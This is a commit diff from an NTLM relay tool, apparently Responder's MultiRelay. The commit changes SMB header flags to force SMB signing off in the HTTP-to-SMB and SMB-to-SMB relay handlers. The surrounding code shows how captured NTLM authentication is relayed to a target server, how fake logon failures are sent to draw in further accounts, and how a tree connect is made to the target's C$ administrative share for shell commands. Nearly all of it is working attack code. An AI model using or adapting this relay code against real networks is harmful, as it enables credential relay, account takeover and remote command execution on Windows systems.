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Enhanced flags2 to force SMB signature off
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lgandx
parent
9656f140e7
commit
7339411766
1 changed files with 13 additions and 13 deletions
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@ -225,7 +225,7 @@ class HTTPProxyRelay(BaseRequestHandler):
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if Packet_NTLM == "\x01":
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## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
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h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
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h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8")
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n = SMBNegoCairo(Data = SMBNegoCairoData())
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n.calculate()
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packet0 = str(h)+str(n)
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@ -234,7 +234,7 @@ class HTTPProxyRelay(BaseRequestHandler):
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smbdata = s.recv(2048)
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##Session Setup AndX Request, NTLMSSP_NEGOTIATE
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if smbdata[8:10] == "\x72\x00":
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head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
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head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00")
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t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
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t.calculate()
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packet1 = str(head)+str(t)
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@ -265,7 +265,7 @@ class HTTPProxyRelay(BaseRequestHandler):
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Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
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if Username is not None:
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head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
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head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
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t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
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t.calculate()
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packet1 = str(head)+str(t)
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@ -322,7 +322,7 @@ class HTTPRelay(BaseRequestHandler):
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if Packet_NTLM == "\x01":
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## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
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h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
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h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8")
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n = SMBNegoCairo(Data = SMBNegoCairoData())
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n.calculate()
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packet0 = str(h)+str(n)
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@ -331,7 +331,7 @@ class HTTPRelay(BaseRequestHandler):
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smbdata = s.recv(2048)
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##Session Setup AndX Request, NTLMSSP_NEGOTIATE
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if smbdata[8:10] == "\x72\x00":
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head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
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head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00")
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t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
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t.calculate()
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packet1 = str(head)+str(t)
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@ -362,7 +362,7 @@ class HTTPRelay(BaseRequestHandler):
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Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
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if Username is not None:
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head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
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head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
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t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
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t.calculate()
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packet1 = str(head)+str(t)
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@ -377,7 +377,7 @@ class HTTPRelay(BaseRequestHandler):
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return None
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else:
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##Any other type of request, send a 407.
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##Any other type of request, send a 401.
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Response = IIS_Auth_401_Ans()
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self.request.send(str(Response))
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@ -404,7 +404,7 @@ class SMBRelay(BaseRequestHandler):
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##Negotiate proto answer. That's us.
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if data[8:10] == "\x72\x00":
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head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc7", pid=pidcalc(data),mid=midcalc(data))
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head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x43\xc8", pid=pidcalc(data),mid=midcalc(data))
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t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data))
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packet1 = str(head)+str(t)
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buffer1 = longueur(packet1)+packet1
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@ -420,7 +420,7 @@ class SMBRelay(BaseRequestHandler):
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if data.find("NTLM") is not -1:
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##Relay all that to our client.
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if data[8:10] == "\x73\x00":
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head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
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head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
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#NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange.
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#Then simply grab the whole session setup packet except the smb header from the client and pass it to the server.
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t = smbdata[36:]
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@ -435,7 +435,7 @@ class SMBRelay(BaseRequestHandler):
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if IsSMBAnonymous(data):
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##Send logon failure for anonymous logins.
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head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
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head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
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t = SMBSessEmpty()
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packet1 = str(head)+str(t)
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buffer1 = longueur(packet1)+packet1
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@ -449,7 +449,7 @@ class SMBRelay(BaseRequestHandler):
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Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
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if Username is not None:
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##Got the ntlm message 3, send it over to SMB.
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head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
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head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
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t = data[36:]#Final relay.
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packet1 = str(head)+str(t)
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buffer1 = longueur(packet1)+packet1
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@ -470,7 +470,7 @@ class SMBRelay(BaseRequestHandler):
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else:
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##Send logon failure, so our client might authenticate with another account.
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head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
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head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
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t = SMBSessEmpty()
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packet1 = str(head)+str(t)
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buffer1 = longueur(packet1)+packet1
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@ -520,7 +520,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
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## Tree Connect
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if data[8:10] == "\x73\x00":
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GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
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head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
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head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x43\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
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t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$")
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t.calculate()
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packet1 = str(head)+str(t)
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